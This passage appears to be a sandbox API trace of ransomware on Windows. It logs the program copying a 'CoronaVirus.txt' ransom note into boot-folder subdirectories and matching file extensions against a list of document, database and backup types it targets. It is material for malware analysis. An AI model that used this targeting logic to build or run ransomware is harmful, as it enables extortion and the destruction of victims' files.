	[0083.361] wcsncmp (_String1="pt", _String2="..", _MaxCount=0x2) returned 66
	[0083.361] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\pt-BR") returned 13
	[0083.361] wcsncmp (_String1="C:\\Boot\\p", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.361] wcsstr (_Str="C:\\Boot\\pt-BR", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.361] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\pt-BR\\CoronaVirus.txt" (normalized: "c:\\boot\\pt-br\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.381] _alloca_probe () returned 0x4036d0
	[0083.381] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-BR", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\pt-BR", lpFilePart=0x316583c*="pt-BR") returned 0xd
	[0083.381] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xeb0dda16, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600ad0
	[0083.381] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.381] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6678d6, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xeb0dda16, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.381] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.381] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4912aed, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4912aed, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.381] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.381] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.382] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.382] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.382] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.382] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.382] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.382] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.382] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.382] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.382] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.382] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.382] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.382] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.382] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.382] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.382] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.382] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.382] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.382] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.382] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.382] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.382] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.382] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.382] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.382] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.382] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.382] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.382] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.382] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.382] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.382] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.382] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.382] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.382] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.382] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.382] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.382] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.383] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.383] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.383] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.383] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.383] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.383] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.383] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.383] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.383] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.383] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.383] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.383] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.383] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.383] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.383] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.383] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.383] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.383] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.383] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.383] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.383] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.383] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.383] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.383] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.383] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.383] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.383] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.383] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.383] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.383] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.383] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.383] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.383] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.383] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.384] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.384] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.384] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.384] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.384] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.384] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.384] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.384] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.384] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.384] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.384] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.384] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.384] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.384] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.384] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.384] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.384] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.384] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.384] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.384] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.384] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.384] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.384] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.384] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.384] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.384] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.384] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.384] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.384] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.384] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.384] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.384] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.384] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.384] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.384] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.385] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.385] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.385] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.385] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.385] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.385] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb0dda16, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeb0dda16, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.385] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.385] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.385] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.385] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0083.385] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.385] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0083.385] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.385] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0083.385] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.385] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0083.385] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.385] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0083.385] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.385] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0083.385] malloc (_Size=0x1000) returned 0x2f44628
	[0083.385] _swprintf (in: param_1=0x2f44628, param_2="%s\\%s" | out: param_1="C:\\Boot\\pt-BR\\CoronaVirus.txt") returned 29
	[0083.385] wcsstr (_Str="C:\\Boot\\pt-BR\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.385] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.385] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.386] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.386] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.386] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.386] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.386] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.386] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.386] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.386] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.386] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.386] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.386] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.386] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.386] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.386] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.386] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.386] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.386] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.386] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.386] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.386] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.386] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.386] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.386] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.386] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.386] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.386] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.386] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.386] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.386] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.386] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.386] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.386] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.386] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.386] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.386] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.386] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.386] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.387] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.387] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.387] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.387] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.387] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.387] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.387] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.387] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.387] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.387] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.387] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.387] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.387] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.387] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.387] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.387] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.387] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.387] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.387] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.387] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.387] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.387] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.387] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.387] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.387] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.387] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.387] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.387] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.387] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.387] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.387] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.387] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.387] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.387] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.387] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.387] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.387] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.387] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.388] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.388] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.388] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.388] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.388] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.388] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.388] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.388] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.388] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.388] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.388] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.388] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.388] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.388] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.388] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.388] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.388] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.388] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.388] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.388] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.388] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.388] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.388] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.388] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.388] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.388] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.388] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.388] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.388] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.388] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.388] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.388] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.388] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.388] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.388] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.388] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.388] FindNextFileW (in: hFindFile=0x600ad0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef65dc94, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f8fc0d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.389] FindClose (in: hFindFile=0x600ad0 | out: hFindFile=0x600ad0) returned 1
	[0083.389] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef6714dc, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1
	[0083.389] wcsncmp (_String1="p", _String2=".", _MaxCount=0x1) returned 66
	[0083.389] wcsncmp (_String1="pt", _String2="..", _MaxCount=0x2) returned 66
	[0083.389] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\pt-PT") returned 13
	[0083.389] wcsncmp (_String1="C:\\Boot\\p", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.389] wcsstr (_Str="C:\\Boot\\pt-PT", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.389] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\pt-PT\\CoronaVirus.txt" (normalized: "c:\\boot\\pt-pt\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.392] _alloca_probe () returned 0x4036d0
	[0083.392] GetFullPathNameW (in: lpFileName="C:\\Boot\\pt-PT", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\pt-PT", lpFilePart=0x316583c*="pt-PT") returned 0xd
	[0083.392] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb103fda, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600e50
	[0083.392] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.392] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010f167, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeb103fda, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.392] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.392] FindNextFileW (in: hFindFile=0x600e50, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4938cb0, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4938cb0, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2112e17f, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.392] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.392] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.392] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.392] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.392] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.392] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.392] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.392] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.392] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.392] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.392] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.392] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
